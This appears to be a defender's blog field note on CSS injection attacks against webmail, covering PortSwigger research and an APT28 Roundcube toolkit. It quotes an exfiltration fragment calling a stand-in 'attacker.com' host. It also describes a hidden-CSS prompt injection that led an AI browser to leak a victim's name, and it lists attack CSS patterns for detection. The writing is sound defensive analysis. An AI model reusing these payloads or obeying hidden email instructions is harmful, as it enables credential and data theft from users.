The Dead Link
This morning I was reading my tldrsec newsletter — one of the most respected security newsletters in the industry, written by Clint Gibler, signed and authenticated by tldrsec.com. I clicked a link inside it. The link led nowhere. A blank page. A 404.
I know what I know. So I ran the checks. Active network connections, processes making outbound calls, LaunchAgents, the things you look for when something feels off. Everything came back clean. It was just a broken link — the kind that happens when a curated newsletter links to an article that gets moved or taken down. Nothing more.
But here is what I thought about while the terminal was running: I would not have known if it had not been clean. Not from that click alone. Because the attack that Portswigger researcher Gareth Heyes presented at Black Hat USA 2026 eight days ago does not ask you to download anything. It does not ask you to click a suspicious link. It does not send you to a fake login page at some obviously wrong domain. The attack happens inside the email itself. You open it. You read it. The CSS fires. And by the time you close the tab, something has already left.
CSS. Cascading Style Sheets. The language that makes text the right font size and buttons the right color. The thing that every email uses, that every email client renders, that you cannot turn off without breaking the visual experience of email entirely. That is the weapon Portswigger documented. That is the weapon APT28 was already using four months before Portswigger published the research.
The timing that matters: On April 17, 2026, an OTX AlienVault pulse documented Operation Roundish — an exposed open directory revealing APT28's complete Roundcube exploitation toolkit. The toolkit included XSS payloads, a Flask-based C2 server, and CSS injection tools targeting Ukraine's State Migration Service. On August 6, 2026, Portswigger published the research explaining exactly how CSS injection works against webmail. The attack preceded the public documentation by four months. By the time defenders read the paper, the campaign had already run.
How It Works — What the Sanitizer Thinks It Approved
Every webmail platform — Gmail, Outlook, Yahoo, Fastmail, ProtonMail, AOL — has the same problem. It receives untrusted HTML from strangers and has to display it safely inside a trusted interface. To do that, it runs the email through a sanitizer. The sanitizer looks at the HTML and CSS, strips anything it considers dangerous — JavaScript, iframes, certain tags — and passes the rest through. The browser then renders what the sanitizer approved.
The gap that Portswigger found is the space between what the sanitizer thinks it approved and what the browser actually renders. These are not the same thing. CSS is complex enough, and the relationship between the sanitizer and the browser is imperfect enough, that an attacker who understands both can send CSS that looks safe to the sanitizer and behaves dangerously in the browser.
The specific techniques Heyes documented are technically dense, but the outcomes translate simply:
The Outlook password keylogger. Using a CSS gadget — a technique where existing JavaScript on the Outlook page appends elements with CSS properties outside the email sanitizer's allow list — combined with a carefully crafted select element disguised as a password input, an attacker can overlay the entire Outlook interface with a fake Microsoft login screen. When the victim types their password into what appears to be a legitimate sign-in form, the keystrokes are captured in real time and sent to attacker infrastructure. The victim sees Outlook. They think they are signing in. The password is already gone.
The Gmail token exfiltration. Gmail's image sanitization proxies external image requests to protect the user's IP. Heyes found that image-set(var(--x,'//attacker.com')) — using a CSS variable with a fallback URL — bypassed this proxy and made a direct external request. Combined with CSS attribute selectors that match specific URL patterns, this technique can extract authentication tokens from emails in the victim's inbox by making outbound requests to attacker infrastructure as the email is rendered. Gmail confirmed this still worked when the research was published.
The AI prompt injection via CSS. This is the one that stopped me. Using CSS pseudo-elements — `:before` and `:after` — combined with opacity close to zero, an attacker can embed text in an email that is invisible to the human reading it but fully readable by an AI assistant processing the inbox. When the victim asks their AI email tool to translate or summarize the message, the AI reads the hidden instructions instead of the visible content. In the demonstrated chain, this caused an AI browser to open multiple tabs and exfiltrate the victim's name encoded in URL fragments — all while the human saw only harmless French text and thought they were asking for a translation.
Why CSS is harder to defend against than JavaScript: JavaScript in email has a known defense — block it entirely, which every major email client does. CSS cannot be blocked entirely without breaking the visual experience of every email. You cannot strip `:before` and `:after` pseudo-elements without breaking legitimate email formatting. You cannot block all external image requests without breaking newsletter images. The attack exploits features that are necessary, not features that are optional. This is the structural problem that makes CSS injection fundamentally different from XSS.
APT28 Got Here First
What makes the Portswigger research significant is not the novelty of the concept — CSS injection as an attack surface has been discussed in academic circles for years. What makes it significant is the specificity: Heyes built working proof-of-concept exploits against real webmail platforms, documented the exact techniques, and presented them at Black Hat USA 2026 on August 6.
Four months earlier, APT28 — the Russian GRU unit also known as Fancy Bear, responsible for the 2016 Democratic National Committee breach, the NotPetya preparation campaigns, and Operation RoundPress — had already built and deployed a complete Roundcube exploitation toolkit that included CSS injection tools as a documented component. The Operation Roundish exposure came from an open directory — a mistake on the attacker's part that let researchers see inside the toolkit. Inside were XSS payloads, a Flask-based C2 server, and CSS injection tools targeting Ukraine's State Migration Service at mail.dmsu.gov.ua.
APT28 was not doing this because they read a Portswigger blog post. They were doing this because they had already discovered independently what Heyes later documented publicly: that CSS, rendered inside a trusted webmail interface, can be weaponized to break out of the email message window and interact with the trusted UI around it. The research and the operation arrived at the same technique from different directions.
The target population is the same one I have been writing about all year. Self-hosted Roundcube and Zimbra deployments in Eastern European government agencies — organizations that chose their own mail infrastructure for sovereignty reasons and cannot push patches as fast as Google or Microsoft can. Your personal Gmail will likely have the image-set bypass fixed within weeks of this writing. The Ukrainian ministry still running an unpatched Roundcube server will be waiting considerably longer. The CSS injection toolkit in APT28's open directory was aimed at exactly that gap.
The commercial platforms are not safe either. Gmail's image-set bypass still works. Outlook's label-jacking still works. ProtonMail quietly fixed a proxy bypass without acknowledging it as a vulnerability. Fastmail patched two CSS mutation bugs and paid the bounty. The landscape of what is fixed and what is not is inconsistent across providers and inconsistent across browser combinations — the same email can be safe in Chrome and exploitable in Firefox, or vice versa.
What This Means for Defenders
The honest answer is that most defenders cannot patch CSS injection vulnerabilities — that is the webmail providers' job. What defenders can do is understand what the attack looks like so they can recognize it, report it, and apply pressure on providers to fix it.
For security teams specifically, there is a detection opportunity at the email delivery layer that no one has yet captured. The CSS patterns that enable these attacks — position:fixed used to overlay the entire email client interface, <select> elements disguised as password inputs, :has() and :checked pseudo-classes used to build keyloggers, @font-face rules with unicode-range used to measure digit heights for token extraction — are not present in legitimate marketing emails, newsletters, or business correspondence. They are highly specific to the attack techniques Heyes documented. A detection rule targeting these patterns in the raw HTML of inbound emails would be tight, low false positive, and currently uncovered by any existing open-source rule. I am working on one.
For individuals: the most effective current defense is the simplest and least popular one. Disable automatic loading of remote images. Every major desktop email client has this setting. When images do not auto-load, image proxy bypasses cannot fire, tracking pixels cannot phone home, and several of the exfiltration techniques documented in this research stop working before they start. On webmail in a browser, rendering email in a sandboxed iframe — which Portswigger recommends as the correct architectural fix for providers — would prevent most of the documented attacks. No major provider has fully implemented it yet.
A note on the image-loading defense: Disabling remote images stops several specific exfiltration techniques — image proxy bypasses, tracking pixels, and background URL requests that phone home. But it is not a complete defense. The Outlook keylogger Heyes demonstrated does not require external image requests at all — it captures keystrokes and can exfiltrate them through link clicks using CSS positioning, not image loads. And the Gmail bypass specifically exploited a CSS variable fallback pattern that the "remote images disabled" setting did not catch, because Gmail's image blocking targeted traditional image URLs, not the image-set(var(--x,'//attacker.com')) syntax. Disabling remote images narrows the attack surface meaningfully. It does not close it.
I ran my machine checks this morning because a link in a legitimate newsletter went to a dead end and I know enough now to treat that as worth checking. Everything was clean. But the research that dead link was trying to send me to explains in precise technical detail how an email I opened could have stolen my password without asking me to do anything except read it. That is not a theoretical risk. APT28 was already using the technique in April. The only thing that was missing was the public documentation explaining how it worked.
We were four months behind. The job now is to close that gap at the delivery layer, before the next toolkit surfaces in the next open directory, and the next four months begin.
This field note is based on Portswigger Research's "CSS: The Bomb Inside Your Inbox" (Gareth Heyes, August 6, 2026), presented at Black Hat USA 2026; OTX AlienVault Operation Roundish pulse (April 17, 2026); CVE-2026-5914 and CVE-2026-6300 (Microsoft MSRC, April 2026); and Dark Reading coverage of the Portswigger research (August 5, 2026). The APT28 attribution is based on the Operation Roundish OTX disclosure linking the toolkit to APT28 infrastructure targeting Ukraine's State Migration Service. The tldrsec newsletter referenced in the opening is a legitimate, verified security publication; the dead link was a broken external reference, not a malicious payload. All technical details of the CSS attack techniques are drawn directly from Portswigger's published research and proof-of-concept code. A companion Sublime Security detection rule targeting CSS injection patterns in email bodies is in development. This field note represents independent analytical work based entirely on public information.